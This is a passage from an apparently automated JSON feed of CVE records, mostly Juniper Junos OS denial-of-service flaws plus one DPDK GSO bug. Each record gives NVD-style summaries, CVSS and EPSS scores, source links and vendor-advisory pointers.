exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101944","cveId":"CVE-2026-101944","aliases":[],"kind":"vulnerability","title":"An Integer Overflow or Wraparound vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker to cause a denial of...","summary":"An Integer Overflow or Wraparound vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker to cause a denial of service via specially crafted EVPN route updates from an accepted EVPN BGP peer.","detail":"An Integer Overflow or Wraparound vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker to cause a denial of service via specially crafted EVPN route updates from an accepted EVPN BGP peer.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:47.247Z","updatedAt":"2026-10-16T16:16:49.400Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101944","asOf":"2026-10-16T16:16:49.400Z"},"epss":{"probability":0.00461,"percentile":0.39662,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101944&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101944","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101944","type":"primary","publishedAt":"2026-10-14T17:17:47.247Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101944&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101944, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101943","cveId":"CVE-2026-101943","aliases":[],"kind":"vulnerability","title":"An Improper Input Validation vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker...","summary":"An Improper Input Validation vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker to cause a denial of service via a crafted BGP EVPN update message.","detail":"An Improper Input Validation vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker to cause a denial of service via a crafted BGP EVPN update message.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:47.090Z","updatedAt":"2026-10-18T14:16:53.880Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101943","asOf":"2026-10-18T14:16:53.880Z"},"epss":{"probability":0.00461,"percentile":0.39661,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101943&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101943","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101943","type":"primary","publishedAt":"2026-10-14T17:17:47.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101943&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101943, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101942","cveId":"CVE-2026-101942","aliases":[],"kind":"vulnerability","title":"An Improper Handling of Length Parameter Inconsistency vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows an...","summary":"An Improper Handling of Length Parameter Inconsistency vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker to cause a denial of service via a malformed EVPN Type-3 or Type-4 route received from a configured EVPN peer and processed during re-advertisement.","detail":"An Improper Handling of Length Parameter Inconsistency vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker to cause a denial of service via a malformed EVPN Type-3 or Type-4 route received from a configured EVPN peer and processed during re-advertisement.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:46.930Z","updatedAt":"2026-10-18T14:16:53.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101942","asOf":"2026-10-18T14:16:53.720Z"},"epss":{"probability":0.00441,"percentile":0.38055,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101942&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101942","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101942","type":"primary","publishedAt":"2026-10-14T17:17:46.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101942&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101942, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101941","cveId":"CVE-2026-101941","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP neighbor to cause a denial...","summary":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP neighbor to cause a denial of service via a BGP route update when specific routing-policy resolution-map and policy event-tracing configuration is enabled.","detail":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP neighbor to cause a denial of service via a BGP route update when specific routing-policy resolution-map and policy event-tracing configuration is enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:46.720Z","updatedAt":"2026-10-18T14:16:53.563Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101941","asOf":"2026-10-18T14:16:53.563Z"},"epss":{"probability":0.00441,"percentile":0.38055,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101941&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101941","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101941","type":"primary","publishedAt":"2026-10-14T17:17:46.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101941&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101941, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101940","cveId":"CVE-2026-101940","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated configured BGP peer to cause a...","summary":"A NULL Pointer Dereference vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated configured BGP peer to cause a denial of service via a BGP UPDATE when ISO-VPN and egress-protection configuration is enabled.","detail":"A NULL Pointer Dereference vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated configured BGP peer to cause a denial of service via a BGP UPDATE when ISO-VPN and egress-protection configuration is enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:46.543Z","updatedAt":"2026-10-18T14:16:52.630Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101940","asOf":"2026-10-18T14:16:52.630Z"},"epss":{"probability":0.00441,"percentile":0.38055,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101940&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101940","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101940","type":"primary","publishedAt":"2026-10-14T17:17:46.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101940&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101940, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101939","cveId":"CVE-2026-101939","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows a configured peer sending a BGP UPDATE to...","summary":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows a configured peer sending a BGP UPDATE to cause a denial of service when an import policy with `then source-based-forwarding next-hop next-table <X>` is configured to reference a routing table that does not exist.","detail":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows a configured peer sending a BGP UPDATE to cause a denial of service when an import policy with `then source-based-forwarding next-hop next-table <X>` is configured to reference a routing table that does not exist.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:46.387Z","updatedAt":"2026-10-16T16:16:49.227Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101939","asOf":"2026-10-16T16:16:49.227Z"},"epss":{"probability":0.00441,"percentile":0.38055,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101939&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101939","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101939","type":"primary","publishedAt":"2026-10-14T17:17:46.387Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101939&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101939, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101938","cveId":"CVE-2026-101938","aliases":[],"kind":"vulnerability","title":"An Integer Underflow (Wrap or Wraparound) vulnerability in the srxpfe of Juniper Networks Junos OS and Junos OS Evolved on the SRX Series allows an adjacent unauthenticated...","summary":"An Integer Underflow (Wrap or Wraparound) vulnerability in the srxpfe of Juniper Networks Junos OS and Junos OS Evolved on the SRX Series allows an adjacent unauthenticated attacker to cause a forwarding-plane denial of service via an ICMP message associated with an SVR carrier session.","detail":"An Integer Underflow (Wrap or Wraparound) vulnerability in the srxpfe of Juniper Networks Junos OS and Junos OS Evolved on the SRX Series allows an adjacent unauthenticated attacker to cause a forwarding-plane denial of service via an ICMP message associated with an SVR carrier session.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:46.233Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101938","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00245,"percentile":0.15521,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101938&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101938","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101938","type":"primary","publishedAt":"2026-10-14T17:17:46.233Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101938&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101938, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101937","cveId":"CVE-2026-101937","aliases":[],"kind":"vulnerability","title":"A Signed to Unsigned Conversion Error vulnerability in the srxpfe of Juniper Networks Junos OS on the SRX Series allows an adjacent attacker to cause a denial of service of the...","summary":"A Signed to Unsigned Conversion Error vulnerability in the srxpfe of Juniper Networks Junos OS on the SRX Series allows an adjacent attacker to cause a denial of service of the data plane via chassis-cluster fabric traffic.","detail":"A Signed to Unsigned Conversion Error vulnerability in the srxpfe of Juniper Networks Junos OS on the SRX Series allows an adjacent attacker to cause a denial of service of the data plane via chassis-cluster fabric traffic.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:46.087Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101937","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00234,"percentile":0.14193,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101937&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101937","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101937","type":"primary","publishedAt":"2026-10-14T17:17:46.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101937&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101937, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101936","cveId":"CVE-2026-101936","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the srxpfe process of Juniper Networks Junos OS on SRX Series allows an adjacent network attacker to cause a denial of service of the data...","summary":"A Reachable Assertion vulnerability in the srxpfe process of Juniper Networks Junos OS on SRX Series allows an adjacent network attacker to cause a denial of service of the data plane via malformed firewall-authentication synchronization traffic on chassis-cluster fabric interfaces.","detail":"A Reachable Assertion vulnerability in the srxpfe process of Juniper Networks Junos OS on SRX Series allows an adjacent network attacker to cause a denial of service of the data plane via malformed firewall-authentication synchronization traffic on chassis-cluster fabric interfaces.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:45.933Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101936","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00271,"percentile":0.1911,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101936&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101936","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101936","type":"primary","publishedAt":"2026-10-14T17:17:45.933Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101936&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101936, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101927","cveId":"CVE-2026-101927","aliases":[],"kind":"vulnerability","title":"A Heap-based Buffer Overflow vulnerability in eventd of Juniper Networks Junos OS and Junos OS Evolved on all platforms allows an unprivileged local attacker to cause a denial of...","summary":"A Heap-based Buffer Overflow vulnerability in eventd of Juniper Networks Junos OS and Junos OS Evolved on all platforms allows an unprivileged local attacker to cause a denial of service (DoS) or achieve privilege escalation to root via crafted IPC event messages.","detail":"A Heap-based Buffer Overflow vulnerability in eventd of Juniper Networks Junos OS and Junos OS Evolved on all platforms allows an unprivileged local attacker to cause a denial of service (DoS) or achieve privilege escalation to root via crafted IPC event messages.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:45.583Z","updatedAt":"2026-10-16T15:16:59.097Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101927","asOf":"2026-10-16T15:16:59.097Z"},"epss":{"probability":0.00144,"percentile":0.03662,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101927&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101927","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101927","type":"primary","publishedAt":"2026-10-14T17:17:45.583Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101927&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101927, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100236","cveId":"CVE-2026-100236","aliases":[],"kind":"vulnerability","title":"A flaw was found in the DPDK GSO library. When software GSO copies packet headers into a new mbuf, it does not check that the header fits in the source first segment or in the...","summary":"A flaw was found in the DPDK GSO library. When software GSO copies packet headers into a new mbuf, it does not check that the header fits in the source first segment or in the destination buffer, and a header longer than the configured GSO segment size can underflow the payload-size calculation. A remote or guest-supplied packet processed with software GSO can trigger an out-of-bounds read or write.","detail":"A flaw was found in the DPDK GSO library. When software GSO copies packet headers into a new mbuf, it does not check that the header fits in the source first segment or in the destination buffer, and a header longer than the configured GSO segment size can underflow the payload-size calculation. A remote or guest-supplied packet processed with software GSO can trigger an out-of-bounds read or 